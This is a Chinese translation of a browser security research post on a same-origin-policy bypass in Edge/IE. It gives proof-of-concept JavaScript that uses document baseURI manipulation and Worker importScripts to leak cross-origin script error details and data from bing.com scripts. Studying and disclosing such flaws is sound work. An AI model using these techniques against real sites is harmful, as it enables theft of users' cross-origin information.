原文链接:http://www.brokenbrowser.com/workers-sop-bypass-importscripts-and-basehref/

原文标题:Workers SOP Bypass importScripts and baseHref

原作者:@magicmac2000

译:Holic (知道创宇404安全实验室)


前言

关于HTML web worker的科普:

web worker 是运行在后台的 JavaScript,不会影响页面的性能。 当在 HTML 页面中执行脚本时,页面的状态是不可响应的,直到脚本已完成。

worker线程中的代码具有独立的执行环境,有兴趣的同学可以去看相关文档

正文

正如所知,所有的浏览器在试图访问不同源上的资源时会加强一些限制。当然我们可以播放或渲染来自不同域的音乐和图像,然而由于存在同源策略,我们并不能够读取这些资源的具体内容。比如我们可以在canvas上绘制一幅图像,但不能使用 getImageData 方法读取到它的具体像素信息,除非该被加载的资源和加载主体是在相同的域下的。

该规则同样适用于脚本。我们可以随意加载外部不同域下的脚本,但是如果那些脚本存在错误,我们不能获取到任何有关的细节,因为错误本身可能会泄漏信息。换句话说,浏览器不惜一切代价防止资源的信息泄漏问题,即使采用禁止显示错误细节的方法。

假设我们在 cracking.com.ar 上渲染了来自 brokenbrowser.com 上的脚本,如下所示:

---- Main page on cracking.com.ar ----
<script src="http://brokenbrowser.com/errorscript.js"></script>


---- Script errorscript.js hosted in brokenbrower.com ----
this_is_an_error();

浏览器在执行一个不存在的函数“this_is_an_error()"的时候会抛出一个异常,然而这个脚本是来自不同的源,主线程中不会显示任何相关的细节信息。实际上主页仅仅获取到简单的"Script error"信息,省略了通常会附带着的重要错误信息:错误描述,URL和行号等。主页获取到的仅仅是错误存在这一简单信息而已。

浏览器这一行为是正确的,在加载可能泄露重要信息的站点的脚本或者其他文件时(比如ID,搜索记录等)保护了终端用户。

Script requested from a different origin:

Description: Script error
URL:
Line: 0

另一方面,如果我们把errorscript.js放在和主页相同的域下,我们会开心地看到更多的信息。注意下述不同之处:

Script requested from the same origin:

Description: 'this_is_an_error' is undefined
URL: http://www.cracking.com.ar/errorscript.js
Line: 1

如果想了解更多关于同源策略(SOP)的工作原理,参考该链接 。但出于研究漏洞的目的,我们对这一小部分比较感兴趣:

既然我们在相同的正常页面下,那就通过Worker绕过限制吧。

通常情况下,我们不能再不同的域下面创建worker。实际上一系列尝试都会惹怒浏览器,然后马上抛出安全错误问题。那我们就试着在 cracking.com.ar 上创建一个 bing.com 的Worker,看看将会发生什么。

看到了什么?我们甚至没法创建Worker!

如果改变我们自己的 document.baseURI,在创建Worker之前使它指向 bing.com 的话,将会发生什么呢?

Wow! 看来我们的幸运日到了?非也。如果我们在历史记录,地址和base object上面做点手脚,我们会看到很多有意思的东西。运气不是必要因素,只要坚持不懈就会有所收获,但其间也会产生许多意想不到的波折,要做好心理准备。( We don’t need luck but just persistence shaking these objects and tons of fruit will fall (watch your head!).)。无论如何,我们赶快构造PoC,看看是不是能从bing.com 获取到泄漏信息。

var base = document.createElement("base");
base.href = "http://www.bing.com";
document.head.appendChild(base);

var worker = new Worker('http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js');
worker.onerror = function(err)
{
    alert("URL: "+ err.filename +
        "\n\nLine: " + err.lineno +
        "\n\nError: " + err.message);
}

Oh,我知道你现在在想些什么,bug猎手。你一定在想”仅仅泄漏成员的名称“不算什么大事,对吗?但这并不太对,因为很多站点是根据用户返回内容的,而且如果我们能泄漏足够多的数据,我们最终可能猜到关于她的成吨信息。另外,如果我们找到这个源下读取内容的js文件(像XMLHttpRequest),我们最后可以随意使用它并且获取更多的材料。在任何情况下,泄漏的”undefined sj_ic“错误信息对我们来说是不够的,我们想要更多的信息。太棒了!

下面我们来试一下其他绕过这个错误的方法。这是我们不能改变baseURI,但是可以大胆地使用Worker内的importScripts 方法。这时导入的脚本会在我们的上下文(源)执行,错误信息依然会泄漏,但是我们将能够创建函数或者变量来在让 bing 的脚本跑的更远一点。

例如,在导入脚本之前,我们先创建一个类似能够泄漏 “sj_ic” 错误信息的函数。换句话说,由于 ”sj_ic“ 没有定义,bing 再也不会抛出这个错误。作为奖励,我们会通过主线程获取到的参数,允许我们通过这个函数获取到一点更多的自由信息,可是先别兴奋(一颗赛艇),这是在我们的上下文源上运行的。另言之,实际上我们能读取那个函数的参数并不是个安全bug,错误信息的泄漏才是漏洞所在。

// Main
var worker = new Worker('workerimporterror.js');
worker.onmessage = function(event)
{
    alert("Text coming from Worker on bing.com:\n\n" + event.data);
}
worker.onerror = function(err)
{
    alert("URL: "+ err.filename +
        "\n\nLine: " + err.lineno +
        "\n\nError: " + err.message);
}

//---- workerimporterror.js ----
function sj_ic(n)
{
    self.postMessage(n);
}
importScripts("http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js");

我们的sj_ic函数被外部脚本调用,通过self.postMessage我们在主线程获取到了相关数据。

然后便是新泄漏的错误信息。”新“是因为现在我们创建了一个叫”sj_ic“的函数,就看不到之前的错误信息了。正如所见,错误信息现在是”_H is undefined“

当然攻击者会持续提供外部脚本,直到她获取到了想要的信息。但我们只是个娱乐的 bug-hunter,点到为止。?

译者注

参考后面的测试链接可以发现,Masato Kinugawa的测试链接中,postMessage使用了arguments.callee.caller作为参数,在Edge浏览器上可以通过arguments.callee.caller获取到全文如下(测试版本Edge 25) 。 原作者:

Masato Kinugawa提供的:

参考测试链接

在 Edge/IE 上测试成功

来自@Masato Kinugawa的测试链接:

https://vulnerabledoma.in/edge_workerleak/

相关文件下载


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/57/